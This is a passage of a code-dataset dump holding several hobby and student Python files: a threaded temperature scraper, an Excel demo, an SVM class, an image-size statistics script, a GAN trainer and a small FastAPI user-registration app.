{"api_name": "polib.pofile", "line_number": 325, "usage_type": "call"}, {"api_name": "polib.pofile", "line_number": 329, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 331, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 331, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 403, "usage_type": "call"}, {"api_name": "vendor.umsgpack.packb", "line_number": 457, "usage_type": "call"}, {"api_name": "vendor.umsgpack", "line_number": 457, "usage_type": "name"}, {"api_name": "vendor.umsgpack.packb", "line_number": 479, "usage_type": "call"}, {"api_name": "vendor.umsgpack", "line_number": 479, "usage_type": "name"}, {"api_name": "_version.__title__", "line_number": 507, "usage_type": "name"}, {"api_name": "_version.__description__", "line_number": 507, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 508, "usage_type": "call"}]} +{"seq_id": "17347831075", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\nimport time\r\nimport sqlite3\r\n\r\nimport concurrent.futures\r\n\r\n\r\n\r\nconn = sqlite3.connect('Database.db')\r\nsql_create_table = \"\"\" CREATE TABLE IF NOT EXISTS temp (\r\n id integer PRIMARY KEY,\r\n city text NOT NULL,\r\n temperature text\r\n ); \"\"\"\r\ncur = conn.cursor()\r\ncur.execute(sql_create_table)\r\nconn.commit()\r\n\r\nSTORY_LINKS=[]\r\nfile_url = requests.get('https://raw.githubusercontent.com/nshntarora/Indian-Cities-JSON/master/cities.json')\r\nqueryName = 'https://www.google.com/search?q='\r\nfor i in file_url.json():\r\n STORY_LINKS.append(queryName + i['name'] + ' tempterature')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUSER_AGENT = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0\"\r\nLANGUAGE = \"en-US,en;q=0.5\"\r\nheaders = {'User-Agent':USER_AGENT,\r\n 'Accept-Language':LANGUAGE,\r\n 'Content-Language':LANGUAGE }\r\n \r\n\r\nMAX_THREADS = 30\r\n\r\ndef download_url(url):\r\n conn = sqlite3.connect('Database.db')\r\n #print(url)\r\n response=requests.get(url,headers=headers)\r\n city=url.split(' ')[0].split('=')[1]\r\n\r\n soup = BeautifulSoup(response.content,'lxml')\r\n temp = soup.find(\"span\", attrs={\"id\": \"wob_tm\"}).text\r\n #print(temp)\r\n #print(i['name'],temp)\r\n sql = ''' INSERT INTO temp(city,temperature)\r\n VALUES(?,?) '''\r\n params = (city,temp)\r\n cur = conn.cursor()\r\n cur.execute(sql, params)\r\n conn.commit()\r\n \r\n \r\ndef download_stories(story_urls):\r\n threads = min(MAX_THREADS, len(story_urls))\r\n \r\n with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:\r\n executor.map(download_url, story_urls)\r\n\r\ndef main(story_urls):\r\n t0 = time.time()\r\n download_stories(story_urls)\r\n t1 = time.time()\r\n print(f\"{t1-t0} seconds to download {len(story_urls)} stories.\")\r\n\r\nmain(STORY_LINKS)\r\n", "repo_name": "Sandeeppushp/Python-Concurrent-Scrap", "sub_path": "runn.py", "file_name": "runn.py", "file_ext": "py", "file_size_in_byte": 1944, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlite3.connect", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 42, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 47, "usage_type": "call"}, {"api_name": "concurrent.futures.futures.ThreadPoolExecutor", "line_number": 62, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 62, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 62, "usage_type": "name"}, {"api_name": "time.time", "line_number": 66, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}]} +{"seq_id": "26811299605", "text": "from openpyxl import Workbook\r\nwb=Workbook()\r\nsheet=wb.active\r\n'''d=((1,2,3,4),(11,12,13,14),(21,22,23,24),(31,32,33,34))\r\nfor i in d:\r\n sheet.append(i)'''\r\ndata=(('Name','Age','DOB','Location'),('Karthik',22,1999,'Bangalore'),('Rajesh',23,1998,'Chittoor'),('Sanju',19,2001,'Bangalore'))\r\nfor i in data:\r\n sheet.append(i)\r\nfor i in sheet.iter_rows(min_row=1,min_col=1,max_row=4,max_col=4):\r\n for j in i:\r\n print(j.value,sep=' ',end=' ')\r\n print()\r\nwb.save('c:\\\\Users\\\\178342\\\\Documents\\\\xsheet2.xlsx')\r\n", "repo_name": "08babureddy/practice1", "sub_path": "sht2.py", "file_name": "sht2.py", "file_ext": "py", "file_size_in_byte": 522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "openpyxl.Workbook", "line_number": 2, "usage_type": "call"}]} +{"seq_id": "23169241242", "text": "import numpy\nimport numpy as np\nimport pandas as pd\nimport scipy\nfrom scipy.optimize import minimize, Bounds\nfrom scipy.spatial.distance import cdist\nfrom sklearn.utils import shuffle\nimport math\n\n\ndef sign(x):\n if x > 0:\n return 1\n else:\n return -1\n\n\nclass SVM:\n\n def __init__(self, c, max_epoch=10, a=1, gamma=0.5, gamma_schedule=1, mode=\"primal\"):\n\n self.max_epoch = max_epoch\n self.c = c\n self.a = a\n self.gamma_schedule = gamma_schedule\n self.gamma_zero = gamma\n self.mode = mode\n self.w = None\n self.y = None\n self.x = None\n self.a_star =None\n self.b_star =None\n self.support_vector_idxs = []\n\n self.sign = np.vectorize(sign)\n\n def train(self, x, y):\n self.x = x\n self.y = y\n\n if self.mode == \"primal\":\n # sets the objects weight vector\n self.primal_solution(x, y)\n\n elif self.mode == \"dual\" :\n self.dual_solution()\n\n elif self.mode == \"gaussian-kernel\":\n self.kernel_solution()\n\n def primal_solution(self, x, y):\n # number of training example\n n = len(x)\n\n # w0 and w tracked independently, updated dependently\n w_0 = np.zeros(np.shape(x)[1])\n w_b = np.zeros(np.shape(x)[1] + 1)\n\n # prepend bias column\n x_b = self.append_b(x)\n\n for t in range(self.max_epoch):\n # shuffle the data\n x_shuffle, y_shuffle = shuffle(x_b, y)\n\n # set gamma according to schedule\n gamma = self.gamma_t(t)\n\n # iterate shuffled data\n for i in range(n):\n # indicator function\n indicator = y_shuffle[i] * np.dot(w_b, x_shuffle[i])\n\n if indicator <= 1:\n # get w0 ie set bias to 0 temporarily\n w_adjust = np.concatenate((np.array([0]), w_0), axis=0)\n w_b = w_b - (gamma * w_adjust) + (gamma * self.c * n * y_shuffle[i] * x_shuffle[i])\n else:\n w_0 = (1 - gamma) * w_0\n\n self.w = w_b\n\n def dual_solution(self):\n\n # set up for minimize\n objective = self.dual_form_objective\n c = self.c\n cons = {\"type\": \"eq\", \"fun\": lambda x: np.dot(self.y, x)}\n bnds = Bounds(lb=0, ub=self.c)\n x0 = np.zeros(len(self.x))\n minimize_result = minimize(objective, x0=x0, bounds=bnds, constraints=cons, method=\"SLSQP\")\n\n # using optimal langrians, get w* and b*\n m = np.shape(self.x)[0]\n n = np.shape(self.x)[1]\n b_star_list = []\n w_star = np.zeros(n)\n lagrangian = minimize_result.x\n\n # get w*\n for i in range(m):\n a = lagrangian[i]\n xi = self.x[i]\n yi = self.y[i]\n if True:\n self.support_vector_idxs.append(i)\n w_star += a * yi * xi\n # get average b* using w*\n for i in range(m):\n xi = self.x[i]\n yi = self.y[i]\n bi = yi - np.dot(w_star, xi)\n b_star_list.append(bi)\n\n b_star = np.mean(b_star_list)\n self.w = np.concatenate((np.array([b_star]), w_star), axis=0)\n\n def kernel_solution(self):\n # set up for minimize\n objective = self.gaussian_objective\n cons = {\"type\": \"eq\", \"fun\": lambda input_vector: np.dot(self.y, input_vector)}\n bnds = Bounds(lb=0, ub=self.c)\n x0 = np.zeros(len(self.x))\n minimize_result = minimize(objective, x0=x0, bounds=bnds, constraints=cons, method=\"SLSQP\", jac=True)\n\n # using optimal langrians, get w* and b*\n m = np.shape(self.x)[0]\n n = np.shape(self.x)[1]\n b_star_list = []\n #w_star = np.zeros(n)\n self.a_star = minimize_result.x\n\n self.support_vector_idxs = np.where(np.invert(np.isclose(self.a_star, np.zeros(m), atol=.00001)))[0]\n # get average b* using w*\n for idx in self.support_vector_idxs:\n x = self.x[idx]\n yi = self.y[idx]\n rolling_sum = 0\n for j in self.support_vector_idxs:\n yk = self.y[j]\n xi = self.x[j]\n a_star = self.a_star[j]\n kernel = self.gaussian_kernel_function(xi, x, self.gamma_zero)\n rolling_sum += a_star * yk * kernel\n bi = yi - rolling_sum\n b_star_list.append(bi)\n\n self.b_star = np.mean(b_star_list)\n\n\n def predict(self, new_x):\n if self.mode == \"gaussian-kernel\":\n return self.kernel_predict(new_x)\n\n data_matrix = self.append_b(new_x)\n pred_vec = np.matmul(data_matrix, self.w)\n return self.sign(pred_vec)\n\n def kernel_predict(self, new_x):\n idxs = self.support_vector_idxs\n support_vectors = self.x[idxs]\n\n # CREDIT: https://stats.stackexchange.com/questions/15798/how-to-calculate-a-gaussian-kernel-effectively-in-numpy\n pairwise_sq_dist = cdist(new_x, support_vectors, \"sqeuclidean\")\n K = scipy.exp(-pairwise_sq_dist / self.gamma_zero)\n\n ay = self.a_star[idxs] * self.y[idxs]\n kay_matrix = np.matmul(K, ay)\n\n pred_vec = kay_matrix + self.b_star\n return self.sign(pred_vec)\n\n def gamma_t(self, t):\n if self.gamma_schedule == 1:\n return self.gamma_zero / (1 + self.gamma_zero * t / self.a)\n elif self.gamma_schedule == 2:\n return self.gamma_zero / (1 + t)\n\n def dual_form_objective(self, alpha):\n x = self.x\n y = self.y\n\n # element wise mult of a, y, and rows of x\n #CHECK--------------------------------------------------------------\n ay = alpha * y\n xya_matrix = x*ay[:, np.newaxis]\n\n # entry i,j in matrix is i,j in dual form sum\n expanded_dual_matrix = np.matmul(xya_matrix, xya_matrix.T)\n\n # sum all rows\n double_sum = sum(np.sum(expanded_dual_matrix, axis=1))\n a_sum = sum(alpha)\n # return sum of sum of rows\n return .5 * double_sum - a_sum\n\n def gaussian_objective(self, alpha):\n\n # CREDIT: https://stats.stackexchange.com/questions/15798/how-to-calculate-a-gaussian-kernel-effectively-in-numpy\n pairwise_sq_dist = cdist(self.x, self.x, \"sqeuclidean\")\n K = np.exp(-pairwise_sq_dist / self.gamma_zero)\n\n ay_elements = np.multiply(np.outer(alpha, alpha), np.outer(self.y, self.y))\n kya_matrix = np.multiply(K, ay_elements)\n\n double_sum = sum(np.sum(kya_matrix, axis=1))\n a_sum = sum(alpha)\n\n obj_val = 0.5 * double_sum - a_sum\n\n # compute the gradient wtr to alpha\n ay = np.multiply(alpha, self.y)\n k_apply_ay = np.matmul(K, ay)\n ew_y_kay = np.multiply(self.y, k_apply_ay)\n obj_grad = 0.5 * ew_y_kay - 1\n return obj_val, obj_grad\n\n\n def gaussian_kernel_function(self, xi, xj, gamma):\n diff_vec = xi - xj\n mag = np.linalg.norm(diff_vec, 2)\n exponent = -1 * np.power(mag, 2) / gamma\n return np.exp(exponent)\n\n @staticmethod\n def append_b(matrix):\n m = len(matrix)\n bias_column = np.ones((m, 1))\n return np.concatenate((bias_column, matrix), axis=1)\n", "repo_name": "tjvilliard/MahineLearning", "sub_path": "SVM/svm.py", "file_name": "svm.py", "file_ext": "py", "file_size_in_byte": 7250, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.vectorize", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 57, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 88, "usage_type": "call"}, {"api_name": "scipy.optimize.Bounds", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 121, "usage_type": "call"}, {"api_name": "scipy.optimize.Bounds", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 123, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.invert", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.isclose", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 148, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 156, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 164, "usage_type": "call"}, {"api_name": "scipy.exp", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.newaxis", "line_number": 186, "usage_type": "attribute"}, {"api_name": "numpy.matmul", "line_number": 189, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 192, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 221, "usage_type": "attribute"}, {"api_name": "numpy.power", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 229, "usage_type": "call"}]} +{"seq_id": "13118656109", "text": "from matplotlib import pyplot as plt\nimport glob\nfrom PIL import Image\nimport math\ndef main():\n images = glob.glob(\"C:\\\\Users\\\\grifk\\\\OneDrive\\\\Documents\\\\SchoolStuff\\\\CS5821\\\\SemesterProject\\\\Code\\\\Images\\\\*\\\\*.png\")\n print(len(images))\n imgSizes = {}\n c = 0 #testing var\n for imgPath in images:\n try:\n with Image.open(imgPath) as img:\n size = img.size\n if size in imgSizes.keys():\n imgSizes[size] += 1\n else:\n imgSizes[size] = 1\n\n except Exception or OSError:\n print(imgPath)\n c += 1\n if c % 1000 == 0:\n print(f\"Has Completed {c} images\\n\")\n print(imgSizes)\n\n keyStrings = []\n for k in imgSizes.keys():\n s = '('+str(k[0])+','+str(k[1])+')'\n keyStrings.append(s)\n\n f = plt.figure()\n f.set_figwidth(9.2)\n f.set_figheight(9.2)\n plt.bar(keyStrings, imgSizes.values())\n plt.xticks(rotation=90)\n plt.xlabel(\"Image Sizes\")\n plt.ylabel(\"Number of Images\")\n plt.title(\"Image Size Distribution\")\n plt.show()\n\n minX = math.inf\n maxX = -math.inf\n minY = math.inf\n maxY = -math.inf\n\n totX = 0\n totY = 0\n aspect = 0\n for size in imgSizes:\n x = size[0]\n y = size[1]\n minX = min(minX, x)\n maxX = max(maxX, x)\n minY = min(minY, y)\n maxY = max(maxY, y)\n\n totX += (x * imgSizes[size])\n totY += (y * imgSizes[size])\n aspect += (round(x/y,2) * imgSizes[size])\n print(f\"X: {x}, Y: {y}, Aspect Ratio: {round(x/y,2)}, Count:{imgSizes[size]}\\n\")\n\n\n print(f\"Image Sizes are between: \\n\\tminX:{minX} \\n\\tmaxX:{maxX} \\n\\tminY:{minY} \\n\\tmaxY:{maxY}\")\n avgX = totX/sum(imgSizes.values())\n avgY = totY/sum(imgSizes.values())\n avgAspect = aspect/sum(imgSizes.values())\n\n print(f\"Average X:{avgX}\")\n print(f\"Average Y:{avgY}\")\n print(f\"Average Aspect: {avgAspect}\")\nif __name__ == '__main__':\n main()", "repo_name": "tgrifka/CS5821SemesterProject", "sub_path": "Code/ImageSize.py", "file_name": "ImageSize.py", "file_ext": "py", "file_size_in_byte": 1997, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "glob.glob", "line_number": 6, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 12, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "math.inf", "line_number": 41, "usage_type": "attribute"}, {"api_name": "math.inf", "line_number": 42, "usage_type": "attribute"}, {"api_name": "math.inf", "line_number": 43, "usage_type": "attribute"}, {"api_name": "math.inf", "line_number": 44, "usage_type": "attribute"}]} +{"seq_id": "40288151185", "text": "import torch\n\nfrom src import config, utils\nfrom src.gan._gan_base import GANBase\nfrom .models import DiscriminatorModel, GeneratorModel\n\n\nclass GANHL(GANBase):\n\n def __init__(self):\n generator = GeneratorModel().to(config.device)\n discriminator = DiscriminatorModel().to(config.device)\n super().__init__(\n generator=generator,\n discriminator=discriminator,\n generator_optimizer=torch.optim.Adam(\n params=generator.parameters(),\n lr=config.training.gan_hl.generator_lr,\n betas=(0.5, 0.999),\n ),\n discriminator_optimizer=torch.optim.Adam(\n params=discriminator.parameters(),\n lr=config.training.gan_hl.discriminator_lr,\n betas=(0.5, 0.999),\n ),\n training_config=config.training.gan_hl,\n )\n self.statistics['hidden_loss'] = []\n\n def _train_discriminator(self, x: torch.Tensor) -> float:\n self.discriminator.zero_grad()\n prediction_real = self.discriminator(x)\n loss_real = -torch.log(prediction_real.mean())\n z = torch.randn(len(x), config.data.z_size, device=config.device)\n fake_x = self.generator(z).detach()\n prediction_fake = self.discriminator(fake_x)\n loss_fake = -torch.log(1 - prediction_fake.mean())\n loss = loss_real + loss_fake\n loss.backward()\n self.discriminator_optimizer.step()\n return loss.item()\n\n def _train_generator(self, x_len: int) -> float:\n self.generator.zero_grad()\n\n # get the hidden output of real x\n real_x_hidden_output = self.discriminator.hidden_output.detach()\n\n # get the final output and hidden output of fake x\n z = torch.randn(x_len, config.data.z_size, device=config.device)\n fake_x = self.generator(z)\n final_output = self.discriminator(fake_x)\n fake_x_hidden_output = self.discriminator.hidden_output\n\n cal_kl_div = torch.nn.KLDivLoss(reduction='batchmean')\n real_x_hidden_distribution = utils.normalize(real_x_hidden_output)\n fake_x_hidden_distribution = utils.normalize(fake_x_hidden_output)\n hidden_loss = cal_kl_div(\n input=fake_x_hidden_distribution,\n target=real_x_hidden_distribution,\n ) * config.training.gan_hl.hl_lambda\n\n self.statistics['hidden_loss'].append(hidden_loss.item())\n loss = -torch.log(final_output.mean()) + hidden_loss\n loss.backward()\n self.generator_optimizer.step()\n return loss.item()\n", "repo_name": "hwding-whu/VGAN-BL", "sub_path": "src/gan/gan_hl/gan_hl.py", "file_name": "gan_hl.py", "file_ext": "py", "file_size_in_byte": 2589, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "src.gan._gan_base.GANBase", "line_number": 8, "usage_type": "name"}, {"api_name": "models.GeneratorModel", "line_number": 11, "usage_type": "call"}, {"api_name": "src.config.device", "line_number": 11, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 11, "usage_type": "name"}, {"api_name": "models.DiscriminatorModel", "line_number": 12, "usage_type": "call"}, {"api_name": "src.config.device", "line_number": 12, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 12, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 16, "usage_type": "attribute"}, {"api_name": "src.config.training", "line_number": 18, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 21, "usage_type": "attribute"}, {"api_name": "src.config.training", "line_number": 23, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 23, "usage_type": "name"}, {"api_name": "src.config.training", "line_number": 26, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.log", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 34, "usage_type": "call"}, {"api_name": "src.config.data", "line_number": 34, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 34, "usage_type": "name"}, {"api_name": "src.config.device", "line_number": 34, "usage_type": "attribute"}, {"api_name": "torch.log", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 50, "usage_type": "call"}, {"api_name": "src.config.data", "line_number": 50, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 50, "usage_type": "name"}, {"api_name": "src.config.device", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.KLDivLoss", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 55, "usage_type": "attribute"}, {"api_name": "src.utils.normalize", "line_number": 56, "usage_type": "call"}, {"api_name": "src.utils", "line_number": 56, "usage_type": "name"}, {"api_name": "src.utils.normalize", "line_number": 57, "usage_type": "call"}, {"api_name": "src.utils", "line_number": 57, "usage_type": "name"}, {"api_name": "src.config.training", "line_number": 61, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 61, "usage_type": "name"}, {"api_name": "torch.log", "line_number": 64, "usage_type": "call"}]} +{"seq_id": "41285207697", "text": "from fastapi import FastAPI,HTTPException\nfrom sqlalchemy import create_engine, Column, Integer, String, ForeignKey\nfrom sqlalchemy.orm import sessionmaker, relationship,joinedload\n\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom pydantic import BaseModel\nfrom typing import Optional\n\nDb_URL = \"postgresql://postgres:pgadmin@localhost/postgres\"\nengine = create_engine(Db_URL)\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\nBase = declarative_base()\n\nfrom pymongo import MongoClient\nfrom pymongo.errors import DuplicateKeyError\n\n\nconnection_string = \"mongodb://localhost:27017/sample\"\n\n# Create a MongoClient object\nclient = MongoClient(connection_string)\n# Access a specific database\ndb = client['sample']\nprint(db)\n\n# Access a collection\ncollection = db['sample']\n\n\n\nclass User(Base):\n __tablename__ = \"users\"\n\n id = Column(Integer, primary_key=True, index=True)\n full_name = Column(String)\n email = Column(String, unique=True)\n password = Column(String)\n phone = Column(String, unique=True)\n\n\n\napp = FastAPI()\n\n\nBase.metadata.create_all(bind=engine)\n\n\nclass sampleBaseModel(BaseModel):\n full_name: str\n email: str\n password: str\n phone: str\n profile_picture: str\n\n\n\n\n@app.post(\"/register\")\nasync def register_user(user_data: sampleBaseModel):\n \n db = SessionLocal()\n res = db.query(User).filter(User.email == user_data.email or User.phone == user_data.phone).first()\n\n if res:\n return {\"error\": \"Email or phone already exists.\"}\n\n \n # new_user = User(full_name=user.full_name, email=user.email, password=user.password, phone=user.phone)\n # db.add(new_user)\n # db.commit()\n # # db.refresh(new_user)\n\n # profile_picture = Profile(profile_picture=user.profile_picture)\n # user.profile_picture = profile_picture\n # db.add(new_user)\n # db.commit()\n # # db.refresh(new_profile)\n\n # db.close()\n\n\n \n # Create user object\n user = User(\n full_name=user_data.full_name,\n email=user_data.email,\n password=user_data.password,\n phone=user_data.phone,\n )\n\n\n db.add(user)\n db.commit()\n db.refresh(user)\n\n # Save profile picture in MongoDB\n try:\n collection.insert_one(\n {\"user_id\": str(user.id), \"profile_picture\": user_data.profile_picture}\n )\n except DuplicateKeyError:\n db.delete(user)\n db.commit()\n return {\"error\": \"Email already exists.\"}\n\n return {\"message\": \"User registered successfully\"}\n\n\n#get the specific user by passing id\n\n@app.get(\"/getuser/{user_id}\")\ndef get_user_details(user_id: int):\n db = SessionLocal()\n user = db.query(User).filter(User.id == user_id).first()\n\n if not user:\n raise HTTPException(status_code=404, detail=\"User not found\")\n\n return {\n \"id\": user.id,\n \"full_name\": user.full_name,\n \"email\": user.email,\n \"phone\": user.phone,\n \"profile_picture\": user.profile.profile_picture if user.profile else None,\n }\n\n\n\n# get all users \n\n@app.get(\"/getall_users\")\ndef get_all_users():\n db = SessionLocal()\n users = db.query(User).all()\n\n # profiles = collection.find()\n # Retrieve profile pictures from MongoDB\n user_ids = [str(user.id) for user in users]\n profile = collection.find({\"user_id\": {\"$in\": user_ids}})\n\n\n\n # Create a dictionary to store user profiles\n profile_dict = {str(profile[\"user_id\"]): profile[\"profile_picture\"] for profile in profile}\n\n\n user_data = []\n for user in users:\n user_data.append(\n {\n \"id\": user.id,\n \"full_name\": user.full_name,\n \"email\": user.email,\n \"phone\": user.phone,\n \"profile_picture\": profile_dict.get(str(user.id)), \n }\n )\n return user_data", "repo_name": "Aswin-Jayakrishnan/fastapi", "sub_path": "main2.py", "file_name": "main2.py", "file_ext": "py", "file_size_in_byte": 3842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 10, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 12, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 34, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 35, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 35, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 36, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 37, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 37, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 38, "usage_type": "argument"}, {"api_name": "fastapi.FastAPI", "line_number": 42, "usage_type": "call"}, {"api_name": "pydantic.BaseModel", "line_number": 48, "usage_type": "name"}, {"api_name": "pymongo.errors.DuplicateKeyError", "line_number": 101, "usage_type": "name"}, {"api_name": "fastapi.HTTPException", "line_number": 117, "usage_type": "call"}]} +{"seq_id": "25022156395", "text": "from itertools import permutations \n\nn=10000\nera =[1] * n\nprimes=set([])\nfor p in range(2, n):\n if era[p]:\n if p<10000 and p>999:\n primes.add(str(p))\n for i in range(p*p, n, p):\n era[i] = False\n#Index of python starts in 0\n#primes.remove(\"1487\")\n#primes.remove(\"4817\")\n#primes.remove(\"8147\")\nfor i in primes:\n cand=set([''.join(p) for p in permutations(i)]).intersection(primes)\n primes=primes.difference(cand)\n if len(cand)>2:\n cand=list(map(int,cand))\n cand.sort()\n dif=0\n for i in range(1,len(cand)):\n d=cand[i]-cand[i-1]\n if d==dif:\n print(''.join([str(x) for x in cand[i-2:i+1]]))\n break\n dif=d", "repo_name": "Ross95/project.euler", "sub_path": "0049.py", "file_name": "0049.py", "file_ext": "py", "file_size_in_byte": 738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "itertools.permutations", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "5564127473", "text": "from omtools.comps.single_tensor_average_comp 